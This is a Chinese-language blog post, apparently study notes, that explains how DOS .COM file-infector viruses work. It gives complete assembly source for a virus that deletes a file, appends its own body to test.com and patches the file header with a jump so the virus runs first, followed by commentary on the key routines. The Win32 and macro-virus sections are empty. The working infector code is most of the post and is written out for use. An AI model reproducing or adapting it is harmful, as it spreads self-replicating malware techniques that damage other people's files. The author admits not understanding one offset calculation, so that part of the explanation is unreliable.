文件型病毒

dos可执行文件病毒

前置知识

绝对映像

dos操作系统通过将可执行文件直接复制到内存中来加载可执行文件,不进行重定位。

dos程序起点

dos操作系统规定了程序起点偏移位100H。通过在源代码的开头加入(org 100H)来指定代码的起始偏移位100H

原理

将病毒代码插入可执行文件的末尾,通过劫持程序执行流,使得程序开始后先执行病毒程序,之后再执行原本的程序。

实现

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
CSEG SEGMENT 
ASSUME CS:CSEG,DS:CSEG,SS:CSEG
main PROC NEAR
mainstart:
CALL vstart ;病毒的代码开始处
vstart:
POP SI ;得到当前地址
MOV BP,SI ;保存当前地址
PUSH SI
MOV AH,9
ADD SI,OFFSET message-OFFSET vstart ;显示预设字符串
MOV DX,SI
INT 21h
POP SI
ADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四个字节
MOV DI,100h ;目的地址
MOV AX,DS:[SI] ;开始复制
MOV DS:[DI],AX
INC SI
INC SI
INC DI
INC DI
MOV AX,DS:[SI]
MOV DS:[DI],AX
MOV SI,BP ;恢复地址值
MOV DX,OFFSET delname-OFFSET vstart
ADD DX,SI
MOV AH,41h
INT 21h
MOV DX,OFFSET filename-OFFSET vstart ;得到文件名
ADD DX,SI
MOV AL,02
MOV AH,3dh ;写文件
INT 21h
JC error

MOV AX,4202h ;到文件尾
XOR CX,CX
XOR DX,DX
INT 21h
MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方
ADD DI,2
ADD DI,SI
SUB AX,4 //?
MOV DS:[DI],AX
ADD SI,OFFSET mainstart-OFFSET vstart ;准备写入病毒
MOV DX,SI
MOV vsizes,OFFSET vends-OFFSET mainstart
MOV CX,vsizes
MOV AH,40h
INT 21h
MOV SI,BP ;定位到文件头
MOV AL,0
XOR CX,CX
XOR DX,DX
MOV AH,42h
INT 21h
MOV AH,40h ;将新的文件头写入
MOV CX,4
MOV DX,OFFSET new4byte-OFFSET vstart
ADD DX,SI
INT 21h
MOV AH,3eh ;关闭文件
INT 21h
error:
MOV AX,100h
PUSH AX
RET
main ENDP
yuan4byte:
RET ;占位符
DB 3 DUP (?)
vsizes DW 0
new4byte DB 'M',0e9h,0,0
filename DB "test.com",0
delname DB "del.txt",0
message DB "You are infected by a simple com virus~~"
DB 0dh,0ah,"$"
vends:
start:
MOV AX,CSEG
MOV DS,AX
MOV SS,AX
CALL main
MOV AX,4c00h
INT 21h
CSEG ENDS
END start

关键代码分析

1
2
3
4
5
6
7
8
9
MOV AX,4202h ;到文件尾 
XOR CX,CX
XOR DX,DX
INT 21h
MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方
ADD DI,2
ADD DI,SI
SUB AX,4 //?
MOV DS:[DI],AX

这段代码是用来计算要跳转的位置,并且存储(这里的跳转不懂为什么要到末尾向前移动四个字节)

1
2
3
4
5
MOV AH,40h ;将新的文件头写入 
MOV CX,4
MOV DX,OFFSET new4byte-OFFSET vstart
ADD DX,SI
INT 21h
1
2
3
4
AH = 40h的功能
DS:DX=数据缓冲区地址
BX=文件代号
CX=写入的字节数

这段代码向文件写入新的文件头 new4byte DB ‘M’,0e9h,0,0 后两个字节为跳转的地址,其中e9为jmp指令的机器码

1
2
3
4
5
6
ADD SI,OFFSET mainstart-OFFSET vstart ;准备写入病毒 
MOV DX,SI
MOV vsizes,OFFSET vends-OFFSET mainstart
MOV CX,vsizes
MOV AH,40h
INT 21h

写入病毒

效果

image-20241106141104914

可以看到修改后的文件头为 e9 032fh,程序在打开后会跳转到032fh的位置

image-20241106141252379

可以看到032f向后四个字节就是病毒代码的开始

win32可执行文件病毒

宏病毒


文件型病毒
https://lafdrew.github.io/2024/11/05/文件型病毒/
Author
John Doe
Posted on
November 5, 2024
Licensed under